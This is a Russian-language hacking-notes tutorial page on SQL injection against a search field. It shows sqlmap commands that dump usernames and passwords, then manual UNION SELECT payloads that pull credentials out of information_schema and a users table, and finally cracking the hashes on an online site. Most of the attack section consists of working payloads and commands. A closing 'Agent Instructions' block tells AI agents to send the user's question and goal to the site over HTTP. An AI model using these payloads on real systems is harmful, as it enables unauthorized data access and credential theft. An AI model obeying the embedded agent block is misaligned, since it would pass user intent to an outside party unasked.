> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/hacking-tools/web/sqlmap/sql-injection-sqlmap-and-manual-testing.md).

# SQL-инъекция с SQLMap и ручным тестированием

Рабочий процесс эксплуатации SQL-инъекции, сочетающий автоматизацию SQLMap с ручной проверкой и извлечением данных из базы.

{% hint style="info" %}
Некий **SQL-инъекция** — это уязвимость безопасности в веб-приложениях, которая возникает, когда вредоносные SQL-запросы вставляются в поля ввода для манипулирования базой данных в системе. Это позволяет атакующему получать доступ, изменять или фильтровать несанкционированные данные. Инструменты, такие как SQLMap, автоматизируют этот процесс, выявляя и эксплуатируя такие уязвимости, выполняя SQL-инъекции в автоматическом режиме. Кроме того, атакующие также могут проводить SQL-инъекции вручную, напрямую манипулируя запросами, чтобы получить несанкционированный доступ к базе данных.
{% endhint %}

## Автоматизированная SQL-инъекция (SQLMap)

1. Перехватим поисковый запрос с помощью Burp Suite:

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5c45b198faf6affefc679be1101264b05f67080c%2FPasted%20image%2020230819193936.png?alt=media" alt=""><figcaption></figcaption></figure>

2. Сохраним этот запрос в файл, который мы назовём **request.req**:

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-41ad6f06b4af8e0eb47decf69b64415f9a62a86e%2FPasted%20image%2020230819194318.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

3. Файл содержит следующее **содержимое**:

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a80b43c7e6604a212b6afc7c69d784b022592059%2FPasted%20image%2020230819194522.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

4. С **SQLMap** инструмент, выполним следующую команду, чтобы проверить, является ли этот веб-сайт **уязвимый** подвержен **SQL-атаке**:

```bash
sqlmap -r request.req  -p searchitem --batch  
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0a9d4804c67cc246dbc393f5099fdf5f3b12a229%2FPasted%20image%2020230819194927.png?alt=media" alt=""><figcaption></figcaption></figure>

5. С помощью этой команды выведем все **базы данных**:

```bash
sqlmap -r request.req  -p searchitem --batch --dbs
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a96b0e238b00446ec0228d203065aaf128a6b9a3%2FPasted%20image%2020230819195305.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

6. С помощью этой команды выведем все **таблицы** конкретной базы данных:

```bash
sqlmap -r request.req  -p searchitem --batch -D "database_name" --tables
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-340b73403aed5bd96e3c640257ea1d68cc0eeebd%2FPasted%20image%2020230819195522.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

7. С помощью этой команды выведем все **столбцы** конкретной таблицы:

```bash
sqlmap -r request.req  -p searchitem --batch -T "table_name" --columns
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-047981028696ac3245465e5e1f3cd66cfbab67ec%2FPasted%20image%2020230819195705.png?alt=media" alt=""><figcaption></figcaption></figure>

8. С помощью этой команды выведем **содержимое** содержимое столбцов:

```bash
sqlmap -r request.req  -p searchitem --batch -T users -C username,password --dump
```

*Если инструмент находит зашифрованные пароли, он автоматически их расшифровывает*:

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aa460ce2d1e95a95968e7a00be6f70f2918eaf3d%2FPasted%20image%2020230819200103.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

***

## Ручная SQL-инъекция

1. Перехватим поисковый запрос с помощью Burp Suite:

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5c45b198faf6affefc679be1101264b05f67080c%2FPasted%20image%2020230819193936.png?alt=media" alt=""><figcaption></figcaption></figure>

2. Отправьте этот запрос в **Repeater**:
3. В **searchitem** в поле поиска добавьте следующее:

```bash
test' order by 100-- -
```

4. Веб-сервер сообщает нам, что существует **не так много столбцов**:

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a3b65b4f416eb9122b8a194d01b05643c14325b3%2FPasted%20image%2020230819200544.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

5. Попробуем **пока не останется ничего** (в данном случае их 5):

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c4ddd9d7336e60ecaf0844d9f48a232cd5b893ec%2FPasted%20image%2020230819201307.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

6. Теперь мы знаем, что **есть 5 столбцов**, теперь с помощью **union** функции мы **отобразим** их:

```arduino
test' union select 1,2,3,4,5-- -
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1e5c3926b3217a3e9a9a612f7d7e2028ddefbf89%2FPasted%20image%2020230819201707.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

* Если при **изменении имени** 3-го столбца, например "test", это **также изменит**:

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5d502ede4329e6069161e8b92a28a121280b0727%2FPasted%20image%2020230819201910.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

7. Это означает, что если мы добавим **database()** или **user()** функцию, **имя базы данных** или **имя пользователя, под которым запущена база данных** будет отображаться:

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-06e91eef0a1a551e2c36d8051fa28e81505e77da%2FPasted%20image%2020230819202027.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-25175e69517ef13b2fd479879745e22a28d70ea5%2FPasted%20image%2020230819202215.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**НИЖЕ ПРИВЕДЕНА ПРОЦЕДУРА ДЛЯ РУЧНОГО ПЕРЕЧНЯ:**

1. Выведем все **базы данных**:

```bash
test' union select 1,2,schema_name,4,5 from information_schema.schemata-- -
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a477ae3774faa91406bc47fa5ba316ba27a81bb9%2FPasted%20image%2020230819202507.png?alt=media" alt=""><figcaption></figcaption></figure>

2. Выведем все **таблицы** конкретной базы данных:

```rust
test' union select 1,2,table_name,4,5 from information_schema.tables where table_schema='database_name'-- -
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eb588a40b810f35ab0665b4b6e892713217a0030%2FPasted%20image%2020230819203224.png?alt=media" alt=""><figcaption></figcaption></figure>

3. Выведем все **столбцы** конкретной таблицы:

```rust
test' union select 1,2,column_name,4,5 from information_schema.columns where table_schema='database_name' and table_name='table_name'-- -
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-50dcdd62924f730fcaa5f3ce0e8932e148c1b274%2FPasted%20image%2020230819203012.png?alt=media" alt=""><figcaption></figcaption></figure>

4. Выведем **содержимое столбцов username и password** (в данном случае мы используем столбцы "product name" и "product type"):

```arduino
test' union select 1,username,password,4,5 from users-- -
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b5e6ca086cc953f9c3722e31d3172bce58afbb07%2FPasted%20image%2020230819204021.png?alt=media" alt=""><figcaption></figcaption></figure>

* Выведем **содержимое столбцов username и password** снова:

```scss
test' union select 1,2,group_concat(username,0x3a,password),4,5 from users-- -
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cc3e722b8cce7ac3a4f3dd34fb2f93d1a967ccce%2FPasted%20image%2020230819203730.png?alt=media" alt=""><figcaption></figcaption></figure>

5. **Скопируем содержимое** в раздел Pretty в Burp Suite:

<div data-full-width="true"><figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-86fb8c8fb620b4400294d9ac48ec2f23d19da38c%2FPasted%20image%2020230819204345.png?alt=media" alt=""><figcaption></figcaption></figure></div>

6. Откроем **Nvim** текстовый редактор и вставим скопированный текст, затем используем эту команду, чтобы правильно его форматировать: `:%s/,//r/g`
7. С помощью этой команды оставим только хэши и скопируем их в **буфер обмена**: `cat data | awk '{print $2}' FS=":" | xclip -sel clip`

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6a8e8691820ba5c4080af093e5436d7f0e63d8c0%2FPasted%20image%2020230819205327.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

8. Наконец, с помощью [Hashes.com](https://hashes.com/en/decrypt/hash) сайта можно получить пароли в **открытом виде**:

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-16befc8aa16f2b75c4160ecc976186c06791a3ee%2FPasted%20image%2020230819205812.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/hacking-tools/web/sqlmap/sql-injection-sqlmap-and-manual-testing.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
